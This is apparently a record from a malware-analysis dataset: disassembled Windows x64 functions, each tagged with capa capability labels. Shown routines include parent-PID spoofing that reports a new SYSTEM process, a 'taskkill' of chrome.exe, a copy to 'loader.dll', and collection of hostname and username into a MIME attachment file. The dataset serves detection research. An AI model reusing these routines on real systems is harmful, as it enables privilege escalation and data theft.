joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x1400147d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011208
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140011860
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x14001e020]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400240a3]
call fcn.1400113bb
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.1400112f3
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x78], rax
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rbp + 0x10], 0x70
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x1400119bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.14001119a
mov eax, 3
jmp 0x1400119ca
lea rcx, str.Enjoy_your_new_SYSTEM_process_n
call fcn.14001119a
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ae00]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140011285
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140011ce0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
mov rax, qword [0x14001e020]
xor rax, rbp
mov qword [rbp + 0x438], rax
mov byte [rbp + 0x424], 0
lea rcx, [0x1400240a3]
call fcn.1400113bb
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111a4
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001123f
cmp eax, 1
jne 0x140011d9d
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001136b
cmp eax, 1
jne 0x140011d9d
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140011d9b
mov byte [rbp + 0x424], 1
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x264], eax
jmp 0x140011d9d
jmp 0x140011d5f
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbp + 0x424], 0
jne 0x140011dbf
lea rcx, [0x14001acb0]
call fcn.1400110a0
mov eax, dword [rbp + 0x264]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad00]
call fcn.140011348
mov eax, edi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret
Function at 0x1400112a8
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015b20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015b40
xor al, al
jmp 0x140015bc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015b53
xor al, al
jmp 0x140015bc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015b7d
xor al, al
jmp 0x140015bc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015b91
xor al, al
jmp 0x140015bc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015ba3
xor al, al
jmp 0x140015bc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015bbf
xor al, al
jmp 0x140015bc1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140064850]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140064860]
mov dword [rax], 1
mov rax, qword [0x140064870]
mov dword [rax], 1
mov rax, qword [0x1400647e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140064840]
mov dword [0x14006700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140064920]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140064900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400647c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400648a0]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x1400648b0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140067008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140064810]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140064890]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140067028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140067020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140067020], rbp
call dbg.__main
mov rax, qword [0x140064820]
mov r8, qword [0x140067018]
mov ecx, dword [0x140067028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140067020]
call dbg.main
mov ecx, dword [0x14006700c]
mov dword [0x140067010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140067008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400648b0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x1400648d0]
mov rcx, qword [0x1400648c0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sym._cexit
mov eax, dword [0x140067010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400648f0]
mov rcx, qword [0x1400648e0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001587
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400015bf
lea rax, str.Memory_allocation_failed_
mov rcx, rax
call sym.puts
jmp 0x1400016e6
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 8]
mov r9, rdx
lea r8, [0x140063c9b]
mov edx, 0x1f4
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000169b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call dbg.printf
jmp 0x1400016d9
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
nop
add rsp, 0xe0
pop rbp
ret
Function at 0x1400016ef
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001727
lea rax, str.Memory_allocation_failed_
mov rcx, rax
call sym.puts
jmp 0x1400018a6
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
lea r9, [0x1400674a0]
lea r8, str.cd__d___s____s
mov edx, 0x1f4
mov rcx, rax
call dbg.snprintf
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str._nNew_command:__s_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x10]
mov rdx, rax
lea rax, str.taskkill__IM_chrome.exe__f
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000179e
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 8]
mov r9, rdx
lea r8, [0x140063c9b]
mov edx, 0x1f4
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000185b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call dbg.printf
jmp 0x140001899
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
nop
add rsp, 0xe0
pop rbp
ret
Function at 0x1400018af
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x4d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x460], rcx
mov qword [rbp + 0x468], rdx
mov rax, qword [rbp + 0x460]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x448], rax
cmp qword [rbp + 0x448], 0xffffffffffffffff
je 0x140001b35
mov rax, qword [rbp + 0x468]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x440], rax
cmp qword [rbp + 0x440], 0xffffffffffffffff
jne 0x1400019b2
mov rax, qword [rbp + 0x448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001b36
mov ecx, dword [rbp + 0x2c]
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x30]
mov rax, qword [rbp + 0x448]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rcx, [rbp + 0x2c]
lea rdx, [rbp + 0x30]
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x1400019ea
mov eax, dword [rbp + 0x2c]
test eax, eax
jne 0x140001985
mov rax, qword [rbp + 0x448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x440]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movabs rax, 0x642e726564616f6c
mov edx, 0x6c6c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov dword [rbp + 0x20], 0
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
lea r9, [0x1400674a0]
lea r8, [0x140063cf9]
mov edx, 0x64
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, str.writing_to__s_n
mov rcx, rax
call dbg.printf
lea rax, [rbp - 0x40]
lea rdx, [0x140063d0d]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x438], rax
cmp qword [rbp + 0x438], 0
jne 0x140001b00
lea rax, str.Failed_to_open_file
mov rcx, rax
call sym.perror
mov rax, qword [rbp + 0x438]
mov rcx, rax
call sym.fclose
jmp 0x140001b36
mov rax, qword [rbp + 0x438]
mov r9, rax
mov r8d, 0x10
mov edx, 1
lea rax, str._n__boundary123__
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x438]
mov rcx, rax
call sym.fclose
jmp 0x140001b36
nop
add rsp, 0x4d0
pop rbp
ret
Function at 0x140001b3f
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp - 0x24], 0x10
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 4], eax
mov eax, dword [rbp - 0x24]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
test eax, eax
je 0x140001b9c
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x10]
jmp 0x140001ba1
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001ba7
Capabilities:
Get session user name

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp - 0x24], 0x14
mov eax, dword [rbp - 0x24]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret
Function at 0x140001bf8
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
movabs rax, 0x642e726564616f6c
mov edx, 0x6c6c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov dword [rbp + 0x10], 0
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
lea r9, [0x1400674a0]
lea r8, [0x140063cf9]
mov edx, 0x64
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.writing_to__s_n
mov rcx, rax
call dbg.printf
lea rax, [rbp - 0x50]
lea rdx, [0x140063d34]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140001ced
lea rax, str.Failed_to_open_file
mov rcx, rax
call sym.perror
jmp 0x140001e57
call sym.showComputerName
mov rbx, rax
call sym.showUser
mov rdx, rax
mov rax, qword [rbp + 0x88]
mov r9, rbx
mov r8, rdx
lea rdx, str.Subject_:__s__s_n
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0x12
mov edx, 1
lea rax, str.MIME_Version:_1.0_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0x35
mov edx, 1
lea rax, str.Content_Type:_multipart_mixed__boundaryboundary123_n_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0xe
mov edx, 1
lea rax, str.__boundary123_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Content_Type:_text_plain_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0x11
mov edx, 1
lea rax, str.Renircy_228898._n_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0xe
mov edx, 1
lea rax, str.__boundary123_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Content_Type:_text_plain_n
mov rcx, rax
call sym.fwrite
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x20]
mov r9, rdx
lea r8, str.Content_Disposition:_attachment__filename__s__n
mov edx, 0x64
mov rcx, rax
call dbg.snprintf
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x88]
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp + 0x88]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x118
pop rbx
pop rbp
ret

Function at 0x140001fff
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.thread_function]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002053
lea rax, str.Failed_to_create_thread
mov rcx, rax
call sym.puts
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140002059
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x14000209a
mov eax, 0
jmp 0x140002144
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
jne 0x1400020d2
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002144
mov rax, qword [rbp + 0xf0]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x2c]
mov rdx, rax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call rax
test eax, eax
jne 0x140002115
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xd4]
jmp 0x140002144
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x1400020d2
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x14000214d
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x104
mov eax, dword [rbp - 0x1c]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140002191
mov eax, 0
jmp 0x14000222f
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x14000221e
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x14000220e
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [rbp - 0x10]
jmp 0x14000222f
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x50
pop rbp
ret